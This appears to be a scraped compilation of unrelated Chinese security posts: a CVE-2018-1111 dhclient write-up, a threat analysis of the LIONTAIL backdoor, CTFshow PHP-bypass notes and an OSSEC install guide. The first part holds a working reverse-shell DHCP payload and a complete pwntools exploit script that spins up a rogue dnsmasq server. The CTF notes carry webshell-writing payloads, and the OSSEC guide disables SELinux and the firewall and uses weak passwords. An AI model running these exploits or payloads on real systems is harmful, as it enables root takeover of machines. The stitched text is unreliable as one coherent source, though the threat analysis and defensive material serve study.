dnsmasq 查看。 命令执行的效果是通过 nc 反弹 shell 到 192.168.71.5 的 6666 端口,所以需要在 kali 开启 nc 端口监听,命令如下: nc -l -p 6666 -v 攻击 现在centos设置成dhcp获取ip地址,重启一下网卡!此时 Centos 需要重启网络服务,获取 DHCP 服务器下发的 ip 地址,这里可以看到获取到了 ip 地址 192.168.71.18 命令如下: /etc/init.d/network restart 已经显示获取到了IP 了 ,看看kali 这边的情况吧 此时在kali的nc可以拿到centos的shell,且为root权限 0x05 漏洞原理 单引号在脚本逃逸了,直接以root权限执行了脚本。 dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #” 0x06 修复方法 #yum update dhclient #rpm -qa --changelog dhclient | grep CVE-2018 - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character Ox7 利用exp #/usr/bin/python #encoding = utf-8 from pwn import * import os import sys import time # author : [email protected] # time : 20180520 ip='192.168.131.52' port=1314 # context.log_level='debug' def pwn(ip,port): f=open('dnsmasq.conf','w') start = ip[:ip.rfind('.')]+'.10' end = ip[:ip.rfind('.')]+'.30' dnsmasq = ''' bind-interfaces interface=eth0 except-interface=lo dhcp-range={start},{end},22h dhcp-option=3,{ip} dhcp-option=6,{ip} log-queries log-facility=/var/log/dnsmasq.log '''.format(ip=ip,start=start,end=end) f.write(dnsmasq) f.close() cm=[] cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip)) cm.append('route add default gw {ip}'.format(ip=ip)) cm.append('''dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash {ip} {port} #"'''.format(ip=ip,port=port)) q=process('bash') for i in range(len(cm)-1): q.sendline(cm[i]) time.sleep(1) # time.sleep(100) p=process('bash') p.sendline('nc -l -p {port} -v'.format(port=port)) q.sendline(cm[-1]) time.sleep(3) p.interactive() # q.interactive() if __name__ == '__main__': pwn(ip,port)
-
MANTICORE的攻击范围正在逐步扩大(上)
Check Point Research与Sygnia事件响应小组合作,追踪分析Manticore活动,这是一个主要针对中东政府和电信部门的攻击活动。据分析,Manticore与OilRig(又名APT34、EUROPIUM、Hazel Sandstorm)有关联。 在最新的攻击活动中,攻击者利用了LIONTAIL框架,这是一套复杂的自定义加载程序和内存驻留shellcode有效负载。Manticore使用HTTP.sys驱动程序的未记录功能从传入的HTTP流量中提取有效负载。观察到的LIONTAIL相关恶意软件的多种变体表明,Manticore为每台受攻击的服务器生成了一个自定义的植入程序,使恶意活动能够融入合法的网络流量中,并且无法从中识别。 尽管LIONTAIL框架本身看起来很独特,并且与任何已知的恶意软件家族没有明显的代码重叠,但这些攻击中使用的其他工具与之前报告的活动重叠。最值得注意的是,其中一些最终与OilRig有关联。 在这篇文章中,我们提供了最新工具的技术分析。 LIONTAIL框架 LIONTAIL是一个恶意软件框架,包括一组自定义shellcode加载器和内存驻留shellcode有效负载。它的一个组件是用c语言编写的LIONTAIL后门。它是一个轻量级但相当复杂的被动后门,安装在Windows服务器上,使攻击者能够通过HTTP请求远程执行命令。后门为其配置中提供的url列表设置侦听器,并执行攻击者向这些url发送请求的有效负载。 LIONTAIL后门组件是最新的Manticore攻击中使用的主要植入程序。利用来自面向公众服务器的访问权限,攻击者链接了一组被动植入程序来访问内部资源。到目前为止,我们看到的LIONTAIL后门的内部样本要么侦听HTTP,要么在某些情况下使用命名管道来促进远程代码执行。 LIONTAIL恶意软件框架概述 LIONTAIL加载器 安装 我们观察到在受攻击的Windows服务器上有两种后门安装方法:独立可执行文件和通过Windows服务或合法进程的搜索顺序劫持加载的dll。 当作为DLL安装时,恶意软件利用Windows Server操作系统发行版中缺少的一些DLL:后门被放置到系统文件夹C:\ Windows \system32中,作为wlanapi.dll或wlbsctrl.dll。默认情况下,Windows Server安装中不存在这两个选项。根据Windows Server版本,恶意DLL继续由其他进程(如Explorer.exe)直接加载,或者攻击者启用特定服务(默认禁用),这些服务需要这些DLL。 在wlbsctrl.dll的情况下,DLL在IKE和AuthIP IPsec key Modules服务开始时加载。对于wlanapi.dll,攻击者启用可扩展身份验证协议: sc.exe config Eaphost start=auto; sc.exe start Eaphost;在将LIONTAIL作为可执行文件部署的样本中,观察到的一个值得注意的特征是试图将可执行文件伪装成Cyvera Console (Cortex XDR的一个组件)。 配置 恶意软件首先对包含其配置的结构执行一个1字节的异或解密,该结构用以下结构表示: 字段listen_urls定义了恶意软件侦听传入请求的特定URL前缀 所有示例的URL列表都包含 http://+:80/Temporary_Listen_Addresses/前缀,这是一个默认的WCF URL保留,允许任何用户从该URL接收消息。其他示例包括端口80、443和444上的多个url(在Exchange服务器上),模拟现有服务,例如: https://+:443/autodiscover/autodiscovers/; https://+:443/ews/exchanges/; https://+:444/ews/ews/;许多LIONTAIL示例包含量身自定义的配置,其中添加了多个其他自定义url,以匹配受攻击服务器上现有的web文件夹。由于实际的IIS服务已经使用了现有文件夹的url,因此生成的有效负载在路径中包含额外的随机字典单词。这确保了恶意软件通信与合法通信融合在一起,方便隐藏。 配置中所有前缀的host元素由单个加号(+)组成,这是一个匹配所有可能主机名的“强通配符”。当应用程序需要处理指向一个或多个相对url的请求时,无论这些请求如何到达计算机或它们在host标头中指定的站点(主机或IP地址),强通配符都是有用的。 为了理解恶意软件如何在这些前缀上配置侦听器以及该方法如何随时间变化,有必要对Windows HTTP堆栈有所了解。 Windows HTTP栈组件 WindowsServer2003中引入了一种端口共享机制,允许多个HTTP服务共享相同的TCP端口和IP地址。该机制封装在HTTP.sys中,HTTP.sys是一个内核模式驱动程序,负责处理HTTP请求,侦听传入的HTTP请求,并将它们引导到相关的用户模式进程或服务以进行进一步处理。 在驱动程序层之上,Windows提供了HTTP服务器API,这是一个用户模式组件,提供了与HTTP.sys交互的接口。此外,后台的Internet信息服务(IIS)依赖于HTTP API与HTTP.ssys驱动程序交互。以类似的方式,.NET框架中的HttpListener类是围绕HTTPServerneneneba API的简单包装器。 Windows服务器上HTTP栈组件的架构 应用程序接收和处理特定URL前缀请求的过程可以概述如下: 1.恶意软件通过Windows操作系统提供的任何方式向HTTP.sys注册一个或多个URL前缀。 2.当接收到HTTP请求时,如果该恶意软件负责该前缀,HTTP.sys识别与请求前缀相关联的应用程序,并将该请求转发给恶意软件。 3.恶意软件的请求handler随后接收HTTP.sys截获的请求,并为其生成响应。 C&C通信 在提取配置后,恶意软件使用相同的1字节异或通过侦听提供的URL前缀列表来解密负责建立C&C通信通道的shellcode。虽然在面向web的Windows服务器上使用被动后门的概念并不新鲜,早在2019年就有人在野外观察到它劫持了同一个Windows DLL wblsctrl.DLL,但LIONTAIL的开发人员提高了他们的方法。该恶意软件不使用HTTP API,而是使用IOCTL与底层HTTP.sys驱动程序直接交互。这种方法更隐蔽,因为它不涉及IIS或HTTP API,这些通常由安全解决方案密切监控,但考虑到HTTP.sys的IOCTL没有记录,还需要进一步研究。 首先,shellcode使用以下IOCTL向HTTP.sys注册URL前缀: 0x128000–UlCreateServerSessionOctl:创建HTTP/2.0会话。 0x128010–UlCreateUrlGroupIoctl:创建新的UrlGroup。UrlGroup是在服务器会话下创建的一组URL的配置容器,并继承其配置设置。 0x12801d–UlSetUrlGroupIoctl:通过设置HttpServerBindingProperty将UrlGroup与请求队列相关联。 0x128020–UlAddUrlToUrlGroupIoctl:将listen_urls数组添加到新创建的UrlGroup中。 HTTPsys IOCTL表 注册URL前缀后,后门启动一个负责处理传入请求的循环,直到它从一个等于后门配置中提供的end_string的URL获得请求。 后门使用0x124036–UlReceiveHttpRequestIoctl IOCTL接收HTTP.sys的请求。 根据受攻击服务器的版本,使用0x12403B–UlReceiveEntityBodyIoctl或(如果高于20348)0x12403A–UlReceiveEntityBodyFastIo接收请求正文。然后,通过将整个数据与数据的第一个字节异或,对其进行base64解码和解密。这是在多个恶意软件家族中观察到的常见加密方法,包括但不限于DEV-0861的网络部署反向代理。 来自LIONTAIL有效负载的C&C解密方案 解密后的有效负载具有以下结构: 恶意软件创建一个新线程并在内存中运行shellcode。由于某种原因,它使用请求消息中的shellcode_output和shellcode_output_size作为指向内存中各自数据的指针。 为了加密响应,恶意软件选择一个随机字节,使用它作为密钥对数据进行异或编码,将密钥添加到结果中,然后对整个结果进行base64编码,最后使用IOCTL 0x12403F - UlSendHttpResponseIoctl将其发送回C&C服务器。 LIONTAIL web shell 除了PE植入程序外,Manticore还使用基于web shell的LIONTAIL shellcode加载器。web shell以类似于其他Manticore . net有效负载和web shell的方式进行混淆。 LIONTAIL web shell的主要函数(格式化,保留混淆) web shell接收带有2个参数的请求: · 要执行的shellcode; · 要使用的shellcode参数; 这两个参数的加密方式与其他通信相同:对第一个字节进行异或,然后进行base64编码。 发送到基于web shell的shellcode加载程序的shellcode和参数的结构与LIONTAIL后门中使用的结构相同,这表明观察到的工件是一个更大框架的一部分,该框架允许根据攻击者的访问和需求动态构建加载程序和有效负载。 使用命名管道的LIONTAIL版本 我们还发现了与LIONTAIL样本具有相似内部结构的加载器。这个版本不是侦听URL前缀,而是从命名管道获取有效负载,并且可能被指定安装在无法访问公共web的内部服务器上。恶意软件的配置有点不同: 主shellcode首先将字符串安全描述符“D:(A;;FA;;WD)”转换为有效的、功能性的安全描述符。由于字符串以“D”开头,它表示DACL(自由访问控制列表)条目,通常具有以下格式:entry_type:heritance_flags(ACE_type;ACE_flags;rights;object_GUID;heritance_object_GUID;account_SID)。在该样本中,安全描述符允许(A)对所有人(WD)进行文件全访问(FA)。 然后使用安全描述符根据配置中提供的值创建命名管道。在我们观察到的示例中,所使用的管道的名称是\\.\pipe\test-pipe。 值得注意的是,与HTTP版本不同,恶意软件没有使用任何更高级的技术来连接到命名管道,从中读取和写入。相反,它依赖于标准的kernel32.dll api,如CreateNamedPipe和ReadFileWriteFile。 基于命名管道的LIONTAIL的通信与HTTP版本相同,具有相同的加密机制和相同的负载结构,在内存中作为shellcode运行。 LIONTAIL内存组件 有效负载类型 在LIONTAIL加载器解密从攻击者的C&C服务器接收到的有效负载及其参数后,它开始解析参数。它是一个结构,描述了shellcode要执行的有效负载类型,并且根据有效负载的类型构建不同: TYPE = 1 :执行另一个shellcode: TYPE = 2 :执行指定的API函数: API执行的参数结构如下: 下一个阶段 为了防止分析,Manticore将最终有效负载封装在嵌套的shellcode中。例如,从攻击者那里收到的一个shellcode会运行另一个几乎相同的shellcode,而这个shellcode又会运行负责计算机指纹识别的最后一个shellcode。 此有效负载收集的数据是通过运行特定的Windows api或枚举注册表项收集的,并包括以下组件: 1.计算机名(使用GetComputerNameW API)和域名(使用GetEnvironmentVariableA API); 2.如果系统是64位的标志(使用GetNativeSystemInfo API,检查是用wProcessorArchitecture == 9完成的); 3.处理器数量(使用GetNativeSystemInfo API的dwNumberOfProcessors); 4.物理内存(GetPhysicallyInstalledSystemMemory); 5.来自当前版本注册表项的数据(类型、名称长度、名称、数据长度和数据); 6.来自SecureBoot\State 注册表项的数据; 7.来自System\Bios注册表项的数据; 最后的结构包含所有收集到的信息,也有一个错误代码的位置,供攻击者使用,以找出为什么他们使用的一些api不像预期的那样运行: 额外的工具 除了使用LIONTAIL,我们还观察到Manticore利用了其他自定义组件。 LIONHEAD网络传送器 在一些被攻击的交换服务器上,攻击者部署了一个名为LIONHEAD的小型网络传送器。LIONHEAD也作为服务安装,使用与LIONTAIL相同的幻影DLL劫持技术,并利用类似的机制将流量直接转发到Exchange Web Services (EWS)终端。 LIONHEAD的配置与LIONTAIL不同: 后门以与LIONTAIL相同的方式注册listen_urls前缀并侦听请求。对于每个请求,后门都会复制内容类型、cookie和正文,并将其转发到配置中指定的 这个传送器可以用来绕过对EWS外部连接的限制,隐藏EWS数据的真正使用者。
-
[CTFshow]WebPHP特性章节之[89-104]笔记
前言 Web89 intval取整数 就跟python中的int一样 这里是只要有0-9就输出nonono 但是还需要是传出去是整数 所以我们用数组绕过 Web90 intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里是0开头 说明是根据开始的数字决定使用的进制 这里用的是八进制十六进制绕过 加0是告诉服务器这是八进制 如果转换成十六进制需要加0x Web91 不想打字了,感觉WP里给的说的好全面 i忽略大小写 m多行模式 我们只要让我们的参数里含有php即可 payload:cmd?=111%0aphp 或者cmd?=php%0aggg Web92 这里与web90的不同之处就在于等号了 ===表示类型和数值必须相等 ==是值相等就可以类型不一定相等 我们知道强制转换如果是小数部分的话会舍弃小数部分直接构造小数 Web93 不解释直接秒 Web94 查一下strpos用法 这里说明我们得含有0 但不能在开头,因为开头告诉服务器使用几进制 Web95 过滤了.八进制起手 +或者空格绕过最后一个限制 Web96 直接远程读取高亮显示 Web97 这个意思需要我们post传入a和b的内容不同但md5的值一样 Web98 三元操作符号 以冒号为分隔 如果?之前成立则执行一,否则执行二 第二个和第三行意思一样 没用 直接看最后一行 如果get的值http_flag==flag则输出flag 因为之前传的get会给咱们变成post 所以咱们直接传get post里传值 Web99 头稍微有点小大,我们的目的应该是把content里传入一句话木马,写入n里即可 写入n 那么n肯定是php中吧所以后缀肯定让n=几php 0x36d 一眼十六进制 转化过来是877 接下来就是上蚁剑连接 WEB100 =的优先级比and高 所以只需满足V1是数字=true让if那里成立 让后尝试绕过第一个if 第一个if不含; 第二个if含; Web101 过滤的更多了, 这里是新建了一个类,通过反射类拿到flag,在java一些语言也有(都是看wp说的.. v3并没有给;所以可以让v3=; ?v1=1&v2=echo new ReflectionClass&v3=; 最后转换少一位爆破就可以了 Web102 需要好好考虑一下构造payload 我们的内容是什么 我们的内容是把str的内容写进v3 也就说str里要写eval函数或者能拿flag的函数 根据优先级的问题还是让v1=1这样才能v4等于true $str = call_user_func($v1,$s); 意思我们通过调用v1这个函数(hex2bin这个函数将十六进制转换为二进制字符串) 执行s并把执行结果给str 让后把str的结果写给进v3 v3得的后缀是个php把 这样才能写进去 通过伪协议进行创建 substr截取两个字符 也就是从第三个字符开始读取 所以要用十六进制 让后通过hex2bin将十六进制转换为二进制字符串 关键这个十六进制改怎么构建 我们需要把<?php `cta *`?> 转换一下 我们可以先把他转换成base64 再把base64转换为十六进制 5044383959474e6864434171594473=PD89YGNhdCAqYDs=<?php `cta *`?> 但是为了截取两个数字那么要从要在前面十六进制加两个数字随便加个99吧995044383959474e6864434171594473 加什么都无所谓都会被截取 ?v2=995044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=godyu.php POST里传 v1=hex2bin 访问godyu.php 右键查看源代码 Web103 上把的直接梭哈 WEB104 sha1转换一下直接秒
-
centos7下安装ossec
一、前言 OSSEC是一款开源的基于主机的入侵检测系统,可以简称为HIDS。它具备日志分析,文件完整性检查,策略监控,rootkit检测,实时报警以及联动响应等功能。它支持多种操作系统:Linux、Windows、MacOS、Solaris、HP-UX、AIX。属于企业安全之利器。 S/C运行模式,类似于zabbix ossec支持3种日志, Alert logging, firewall logging and event (archiving) logging server开通udp514(rsyslog),udp1514(ossec-remoted)端口监听,client会把实时状态数据发给server 集成fail2ban,iptables过滤,错误日志分析 详细的介绍和文档可以参考官网网站:http://www.ossec.net/ 二、系统环境 服务端: 计算机名:ossec-server IP地址:172.16.91.130 OS: centos7.0 客户端1: 计算机名: agent-linux IP地址:172.16.91.131 OS:ubunut14.04 客户端2: 计算机名: agent-win7 IP地址:172.16.91.143 OS:win7x86 三、ossec服务器端安装 Yum源的安装和配置 1、进入到 centos下yum文件夹 [root@localhost]# cd /etc/yum.repos.d/ 2、用wget下载repo文件 wget http://mirrors.aliyun.com/repo/Centos-7.repo 如果wget命令不生效,说明还没有安装wget工具,输入yum -y install wget 回车进行安装。当前目录是/etc/yum.repos.d/,刚刚下载的Centos-7.repo也在这个目录上 [root@localhost]# yum -y install wget [root@localhost]# wget http://mirrors.aliyun.com/repo/Centos-7.repo 3、备份系统原来的repo文件 [root@localhost]# mv CentOS-Base.repoCentOS-Base.bak.repo #即是重命名 CentOs-Base.repo -> CentOs-Base.repo.bak 4、替换系统原来的repo文件 mv Centos-7.repo CentOs-Base.repo #即是重命名 Centos-7.repo -> CentOs-Base.repo [root@localhost]# mv Centos-7.repo CentOS-Base.repo 5、执行yum源更新命令 [root@localhost]# yum clean all [root@localhost]# yum makecache [root@localhost]# yum update 关闭防火墙 [root@localhost ~]# cat /etc/selinux/config # This file controls the state of SELinux on the system. # SELINUX= can take one of these three values: # enforcing - SELinux security policy is enforced. # permissive - SELinux prints warnings instead of enforcing. # disabled - No SELinux policy is loaded. SELINUX=disabled # SELINUXTYPE= can take one of three two values: # targeted - Targeted processes are protected, # minimum - Modification of targeted policy. Only selected processes are protected. # mls - Multi Level Security protection. SELINUXTYPE=targeted 关闭firewall: systemctl stop firewalld.service #停止firewall systemctl disable firewalld.service #禁止firewall开机启动 Mysql的安装和配置 1.下载mysql的yum源的rpm包 [root@localhost ~]# wget http://repo.mysql.com/mysql57-community-release-el7.rpm 2.安装rpm文件,通过命令安装MySQL的YUM源: [root@localhost ~]# rpm -ivh mysql57-community-release-el7.rpm 3.YUM安装MySQL以及lib插件 [root@localhost ~]# yum install -y mysql-server [root@localhost ~]#yum -y install mariadb-server mariadb mariadb-devel 4.启动MySQL [root@localhost ~]# systemctl start mysqld 5.设置开机启动: [root@localhost ~]#systemctl enable mysqld 6.获取mysql的临时密码信息 [root@localhost ~]#grep 'temporary password' /var/log/mysqld.log 7.设置mysql密码策略 [root@localhost ~]# mysql -uroot –p mysql> set global validate_password_policy=0; mysql>set global validate_password_length=1; 8.设置允许root账号登陆 mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'root'; 7.授权其他机器登陆 8.添加mysql中用户oseec具有插入,增加,删除等权限 mysql -uroot -p mysql> create database ossec; mysql> grant INSERT,SELECT,UPDATE,CREATE,DELETE,EXECUTE on ossec.* to ossec@localhost identified by 'ossec'; mysql> flush privileges; mysql> \q 9、.创建数据库以方便我们下面的安装配置,连接到本机的MySQ [root@localhost ~]# mysql -uroot -p mysql> create database ossec; 安装管理库以及sedmail和php软件 1.首先我们安装需要用到的关联库和软件,由于我们最终是需要把日志导入到MySQL中进行分析,以及需要通过web程序对报警结果进行展示,同时需要把本机当做SMTP,所以需要在本机安装MySQL、Apache和sendmail服务。在当前的终端中执行如下命令 [root@localhost ~]# yum install wget gcc make httpd php php-mysql sendmail 2.启动httpd服务并查看状态以及设置随机启动 [root@localhost ~]# systemctl start httpd #启动httpd服务 [root@localhost ~]# systemctl status httpd.service #查看httpd服务器 [root@localhost ~]#systemctl enable httpd #设置开机启动 3.启动sendmail服务并查看状态以及设置随机启动 [root@localhost ~]# systemctl start sendmail.service #设置启动sedmail [root@localhost ~]# systemctl status sendmail.service #查看sedmail状态 [root@localhost ~]# systemctl enable sendmail.service #设置开机启动 ossec服务器端安装和配置 1.通过wget下载ossec安装包 [root@localhost ~]# wget https://bintray.com/artifact/download/ossec/ossec-hids/ossec-hids-2.8.3.tar.gz 2.进入到ossec安装目录 [root@localhost ~]# cd ossec-hids-2.9.3/ 3.为了使OSSEC支持MySQL,需要在安装前执行make setdb命令,如下 [root@localhost ~]# cd src [root@localhost ~]# make setdb 看到如下的信息说明可以正常支持MySQL: Info: Compiled with MySQL support. 4.安装ossec服务端 [root@localhost ossec-hids-2.8.3]# ./install.sh which: no host in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/usr/local/mysql/bin:/usr/local/jdk1.7.0_09//bin:/root/bin) ** Para instalação em português, escolha [br]. ** 要使用中文进行安装, 请选择 [cn]. ** Fur eine deutsche Installation wohlen Sie [de]. ** Για εγκατάσταση στα Ελληνικά, επιλέξτε [el]. ** For installation in English, choose [en]. ** Para instalar en Español , eliga [es]. ** Pour une installation en français, choisissez [fr] ** A Magyar nyelvű telepítéshez válassza [hu]. ** Per l'installazione in Italiano, scegli [it]. ** 日本語でインストールします.選択して下さい.[jp]. ** Voor installatie in het Nederlands, kies [nl]. ** Aby instalować w języku Polskim, wybierz [pl]. ** Для инструкций по установке на русском ,введите [ru]. ** Za instalaciju na srpskom, izaberi [sr]. ** Türkçe kurulum için seçin [tr]. (en/br/cn/de/el/es/fr/hu/it/jp/nl/pl/ru/sr/tr) [en]: cn which: no host in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/usr/local/mysql/bin:/usr/local/jdk1.7.0_09//bin:/root/bin) OSSEC HIDS v2.7.1 安装脚本 - http://www.ossec.net 您将开始 OSSEC HIDS 的安装. 请确认在您的机器上已经正确安装了 C 编译器. 如果您有任何疑问或建议,请给 [email protected] (或 [email protected]) 发邮件. - 系统类型: Linux ossec-server.com 2.6.32-431.el6.x86_64 - 用户: root - 主机: ossec-server.com -- 按 ENTER 继续或 Ctrl-C 退出. -- 1- 您希望哪一种安装 (server, agent, local or help)? server - 选择了 Server 类型的安装. 2- 正在初始化安装环境. - 请选择 OSSEC HIDS 的安装路径 [/usr/local/ossec]: /usr/local/ossec - OSSEC HIDS 将安装在/usr/local/ossec . 3- 正在配置 OSSEC HIDS. 3.1- 您希望收到e-mail告警吗? (y/n) [y]: y - 请输入您的 e-mail 地址? [email protected] - 请输入您的 SMTP 服务器IP或主机名 ? 127.0.0.1 3.2- 您希望运行系统完整性检测模块吗? (y/n) [y]: y - 系统完整性检测模块将被部署. 3.3- 您希望运行 rootkit检测吗? (y/n) [y]: y - rootkit检测将被部署. 3.4- 关联响应允许您在分析已接收事件的基础上执行一个 已定义的命令. 例如,你可以阻止某个IP地址的访问或禁止某个用户的访问权限. 更多的信息,您可以访问: http://www.ossec.net/en/manual.html#active-response - 您希望开启联动(active response)功能吗? (y/n) [y]: y - 关联响应已开启 - 默认情况下, 我们开启了主机拒绝和防火墙拒绝两种响应. 第一种情况将添加一个主机到 /etc/hosts.deny. 第二种情况将在iptables(linux)或ipfilter(Solaris, FreeBSD 或 NetBSD)中拒绝该主机的访问. - 该功能可以用以阻止 SSHD 暴力攻击, 端口扫描和其他 一些形式的攻击. 同样你也可以将他们添加到其他地方, 例如将他们添加为 snort 的事件. - 您希望开启防火墙联动(firewall-drop)功能吗? (y/n) [y]: y - 防火墙联动(firewall-drop)当事件级别 >= 6 时被启动 - 联动功能默认的白名单是: - 172.16.91.130 #ossec服务端IP - 您希望添加更多的IP到白名单吗? (y/n)? [n]: n 3.5- 您希望接收远程机器syslog吗 (port 514 udp)? (y/n) [y]: y - 远程机器syslog将被接收. 3.6- 设置配置文件以分析一下日志: -- /var/log/messages -- /var/log/secure -- /var/log/maillog -如果你希望监控其他文件, 只需要在配置文件ossec.conf中 添加新的一项. 任何关于配置的疑问您都可以在 http://www.ossec.net 找到答案. 5.为了配置服务端,使其工作正常,执行下面命令启用数据库支持 [root@localhost ossec-hids-2.8.3]# /var/ossec/bin/ossec-control enable database 6.导入MySQL表结构到MySQL中 [root@localhost ossec-hids-2.8.3]# mysql -uossec -p ossec < src/os_dbd/mysql.schema 7.修改配置文件的权限,否则会启动服务失败 [root@localhost etc]# chmod u+w/var/ossec/etc/ossec.conf 8.编辑ossec.conf文件,在ossec_config中添加MySQL配置 <database_output> <hostname>localhost</hostname> <username>ossec</username> <password>ossec</password> <database>ossec</database> <type>mysql</type> </database_output> 9.由于服务端安装过程中设置了支持接受远程机器的syslog,所以需要对ossec.conf文件中的 syslog部分进行配置,修改ossec.conf文件,将需要收集的网段全添加进去。 <remote> <connection>syslog</connection> <allowed-ips>172.16.0.0/16</allowed-ips> </remote> 10.以及需要设置监控的客户机的白名单IP地址以及收件邮箱地址配置信息添加进去 <global> <white_list>127.0.0.1</white_list> <white_list>^localhost.localdomain$</white_list> <white_list>10.10.16.2</white_list> # #白名单,api接口,cdn的ip <white_list>10.10.16.3</white_list> <white_list>10.10.16.4</white_list> <email_to>[email protected]</email_to> #收件箱 <email_to>[email protected]</email_to> </global> 12.重新启动ossec服务进行生效 [root@localhost etc]#/var/ossec/bin/ossec-controlrestart 添加ossec客户端并导出Key 1.添加ossece客服端信息 [root@localhost ~]# /var/ossec/bin/manage_agents **************************************** * OSSEC HIDS v2.8.3 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: A #选择A,表示添加agent - Adding a new agent (use '\q' to return to the main menu). Please provide the following: * A name for the new agent: agent1 * The IP Address of the new agent: 172.16.91.134 #agent端的ip地址 * An ID for the new agent[001]: 001 Agent information: ID:001 Name:agent1 IP Address:172.16.91.134 Confirm adding it?(y/n): y Agent added. 客户端Name为agen1,ip地址为172.16.91.134的记录已经添加完毕,但是需要导出一个Key 2.到处ossec客服端的key 这个Key的作用是在客户端中导入并使得服务端与客户端达到联动的效果。导出Key步骤如下: **************************************** * OSSEC HIDS v2.8.3 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: E Available agents: ID: 001, Name: agent-kali, IP: 192.168.218.137 Provide the ID of the agent to extract the key (or '\q' to quit): 001 Agent key information for '001' is: MDAxIGFnZW50MSAxNzIuMTYuOTEuMTM0IGU0MWY1YzhkNTc4NDc4ZWU4ZWI0ZmY2ZDRiYTZlMmFjM2QyNmRlYmRjZDI1ZDI1NmUzYWY4OWYyMTA0NzYyMTY= ** Press ENTER to return to the main menu. #复制这个秘钥,客户端需要 然后Enter后输入Q退出 导出的Key值: MDAxIGFnZW50MSAxNzIuMTYuOTEuMTM0IGU0MWY1YzhkNTc4NDc4ZWU4ZWI0ZmY2ZDRiYTZlMmFjM2QyNmRlYmRjZDI1ZDI1NmUzYWY4OWYyMTA0NzYyMTY= 四、ossec客户端的安装和配置 ossec客服端的安装 1.进入到opt目录 root@backlion:~# cd /opt 2.下载ossece客户端的agent root@backlion:~# wget https://bintray.com/artifact/download/ossec/ossec-hids/ossec-hids-2.8.3.tar.gz 3.解压agent root@backlion:~# tar zxvf ossec-hids-2.8.3.tar.gz 4.进入到agent的安装目录 root@backlion:~# cd ossec-hids-2.8.3/ 5.ossec的客服端agent的安装 root@backlion:~#ossec-hids-2.8.3# ./install.sh ** Para instalação em português, escolha [br]. ** 要使用中文进行安装, 请选择 [cn]. ** Fur eine deutsche Installation wohlen Sie [de]. ** Για εγκατάσταση στα Ελληνικά, επιλέξτε [el]. ** For installation in English, choose [en]. ** Para instalar en Español , eliga [es]. ** Pour une installation en français, choisissez [fr] ** A Magyar nyelvű telepítéshez válassza [hu]. ** Per l'installazione in Italiano, scegli [it]. ** 日本語でインストールします.選択して下さい.[jp]. ** Voor installatie in het Nederlands, kies [nl]. ** Aby instalować w języku Polskim, wybierz [pl]. ** Для инструкций по установке на русском ,введите [ru]. ** Za instalaciju na srpskom, izaberi [sr]. ** Türkçe kurulum için seçin [tr]. (en/br/cn/de/el/es/fr/hu/it/jp/nl/pl/ru/sr/tr) [en]: cn OSSEC HIDS v2.8.3 安装脚本 - http://www.ossec.net 您将开始 OSSEC HIDS 的安装. 请确认在您的机器上已经正确安装了 C 编译器. 如果您有任何疑问或建议,请给 [email protected] (或 [email protected]) 发邮件. - 系统类型: Linux backlion 3.19.0-25-generic - 用户: root - 主机: backlion -- 按 ENTER 继续或 Ctrl-C 退出. -- - 您希望哪一种安装 (server, agent, local or help)? agent - 选择了 Agent(client) 类型的安装. - 正在初始化安装环境. - 请选择 OSSEC HIDS 的安装路径 [/var/ossec]: #回车 - OSSEC HIDS 将安装在/var/ossec . - 请输入 OSSEC HIDS 服务器的IP地址或主机名: 172.16.91.130 - 添加服务器IP 172.16.91.130 - 您希望运行系统完整性检测模块吗? (y/n) [y]: y - 系统完整性检测模块将被部署. - 您希望运行 rootkit检测吗? (y/n) [y]: y - rootkit检测将被部署. - 您希望开启联动(active response)功能吗? (y/n) [y]: y - 设置配置文件以分析一下日志: -- /var/log/messages -- /var/log/auth.log -- /var/log/syslog -- /var/log/dpkg.log -- /var/log/apache2/error.log (apache log) -- /var/log/apache2/access.log (apache log) -如果你希望监控其他文件, 只需要在配置文件ossec.conf中 添加新的一项. 任何关于配置的疑问您都可以在 http://www.ossec.net 找到答案. --- 按 ENTER 以继续 --- 具体的安装过成略,当看到以下提示时说明客户端安装成功。 - 系统类型是 Debian (Ubuntu or derivative). - 修改启动脚本使 OSSEC HIDS 在系统启动时自动运行 - 已正确完成系统配置. - 要启动 OSSEC HIDS: /var/ossec/bin/ossec-control start - 要停止 OSSEC HIDS: /var/ossec/bin/ossec-control stop - 要查看或修改系统配置,请编辑 /var/ossec/etc/ossec.conf 感谢使用 OSSEC HIDS. 如果您有任何疑问,建议或您找到任何bug, 请通过 [email protected] 或邮件列表 [email protected] 联系我们. ( http://www.ossec.net/en/mailing_lists.html ). 您可以在 http://www.ossec.net 获得更多信息 --- 请按 ENTER 结束安装 (下面可能有更多信息). --- - 您必须首先将该代理添加到服务器端以使他们能够相互通信. 这样做了以后,您可以运行'manage_agents'工具导入 服务器端产生的认证密匙. /opt/ossec-hids-2.8.3/bin/manage_agents 详细信息请参考: http://www.ossec.net/en/manual.html#ma ossec客户端的配置 1.配置ossec客户端就是把刚才由服务端生成的key,在客户端中导入 root@backlion:~#/opt/ossec-hids-2.8.3/bin/manage_agents **************************************** * OSSEC HIDS v2.8.3 Agent manager. * * The following options are available: * **************************************** (I)mport key from the server (I). (Q)uit. Choose your action: I or Q: I * Provide the Key generated by the server. * The best approach is to cut and paste it. *** OBS: Do not include spaces or new lines. Paste it here (or '\q' to quit): 